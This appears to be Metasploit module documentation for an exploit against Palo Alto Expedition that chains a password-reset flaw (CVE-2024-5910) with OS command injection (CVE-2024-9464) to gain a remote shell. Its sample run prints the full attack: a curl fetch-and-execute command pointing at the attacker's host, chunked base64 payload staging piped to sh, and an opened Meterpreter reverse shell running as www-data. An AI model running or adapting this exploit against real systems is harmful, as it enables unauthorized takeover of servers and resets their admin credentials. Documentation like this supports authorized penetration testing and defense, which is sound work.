## Vulnerable Application

This module exploits two vulnerabilities in Palo Alto Expedition to obtain a remote shell. The first vulnerability, CVE-2024-5910, allows to
reset the password of the admin user. The second vulnerability, CVE-2024-9464, is an authenticated OS command injection.

When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will
first try to reset the admin password and then perform the OS command injection. In a default installation, commands will get executed in
the context of www-data.

Note: If no credentials are available, the module will attempt to reset the admin password. For this, the parameter RESET_ADMIN_PASSWD must
explicitly be set to true.

## Testing

The software can be obtained from
[the vendor](https://live.paloaltonetworks.com/t5/expedition/ct-p/migration_tool).

Installation instructions are available [here]
(https://live.paloaltonetworks.com/t5/expedition-articles/expedition-documentation/ta-p/215619?attachment-id=13781).

**Successfully tested on**

- Expedition v1.2.91 on Ubuntu Server 20.04.1.

## Verification Steps

1. Install and run the application
2. Start `msfconsole` and run the following commands:

```
msf > msf > use exploit/linux/http/paloalto_expedition_rce 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/paloalto_expedition_rce) > set RHOSTS <IP>
msf exploit(linux/http/paloalto_expedition_rce) > exploit
```

You should get a meterpreter session in the context of `www-data`.

## Options

### USERNAME
Username for authentication, if available.

### PASSWORD
Password for the associated user.
### WRITABLE_DIR
A writable location for the exploit to stage the command payload.

### RESET_ADMIN_PASSWD
If the username and password are not specified, the module will attempt to reset the admin password to the default password `paloalto`. This
is also done to authenticate and retrieve the exact version information, in case no credentials have been provided. As this alters the
configuration of the target system, the `RESET_ADMIN_PASSWD` parameter serves as a safeguard that must explicility set to true before the
reset endpoint is being invoked.

## Scenarios

Running the exploit against Expedition v1.2.91 on Ubuntu Server 20.04.1, using curl or wget as a fetch command, should result in an output
similar to the following:

```
msf exploit(linux/http/paloalto_expedition_rce) > exploit 

[*] Command to run on remote host: curl -so /tmp/zRe http://192.168.137.204:8080/qv_gAdz7yjcgH-ohM3GesA; chmod +x /tmp/zRe; /tmp/zRe &
[*] Fetch handler listening on 192.168.137.204:8080
[*] HTTP server started
[*] Adding resource /qv_gAdz7yjcgH-ohM3GesA
[*] Started reverse TCP handler on 192.168.137.204:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Admin password successfully restored to default value paloalto (CVE-2024-5910).
[+] Successfully authenticated
[*] Got csrftoken: MTczMTM4MjY0NUNRV0RkNXBXR3Vic2hkR1ZZTHBSQTd1cWY5MjVWYWIw
[*] Version retrieved: 1.2.91
[+] The target appears to be vulnerable.
[*] Command chunk size = 30
[+] Successfully authenticated
[*] Got csrftoken: MTczMTM4MjY0NnpDVDRUcXdDRWhvZ09HWDNnMFdHUW81cXU2aHppTEdE
[*] Adding a new cronjob...
[*] Staging chunk 1 of 9
[*] Running command: echo -n "echo Y3VybCAtc28gL3RtcC96UmUga" > /tmp/fglGT
[*] Staging chunk 2 of 9
[*] Running command: echo -n "HR0cDovLzE5Mi4xNjguMTM3LjIwNDo" >> /tmp/fglGT
[*] Staging chunk 3 of 9
[*] Running command: echo -n "4MDgwL3F2X2dBZHo3eWpjZ0gtb2hNM" >> /tmp/fglGT
[*] Staging chunk 4 of 9
[*] Running command: echo -n "0dlc0E7IGNobW9kICt4IC90bXAvelJ" >> /tmp/fglGT
[*] Staging chunk 5 of 9
[*] Running command: echo -n "lOyAvdG1wL3pSZSAm|((command -v" >> /tmp/fglGT
[*] Staging chunk 6 of 9
[*] Running command: echo -n " base64 >/dev/null && (base64 " >> /tmp/fglGT
[*] Staging chunk 7 of 9
[*] Running command: echo -n "--decode || base64 -d)) || (co" >> /tmp/fglGT
[*] Staging chunk 8 of 9
[*] Running command: echo -n "mmand -v openssl >/dev/null &&" >> /tmp/fglGT
[*] Staging chunk 9 of 9
[*] Running command: echo -n " openssl enc -base64 -d))|sh" >> /tmp/fglGT
[+] Command staged; command execution requires a timeout and will take a few seconds.
[*] Running command: cat /tmp/fglGT | sh && rm /tmp/fglGT
[*] Client 192.168.137.205 requested /qv_gAdz7yjcgH-ohM3GesA
[*] Sending payload to 192.168.137.205 (curl/7.68.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.137.205
[*] Meterpreter session 10 opened (192.168.137.204:4444 -> 192.168.137.205:58030) at 2024-11-11 22:37:40 -0500
[*] Check thy shell.

meterpreter > sysinfo
Computer     : 192.168.137.205
OS           : Ubuntu 20.04 (Linux 5.4.0-42-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: www-data
```
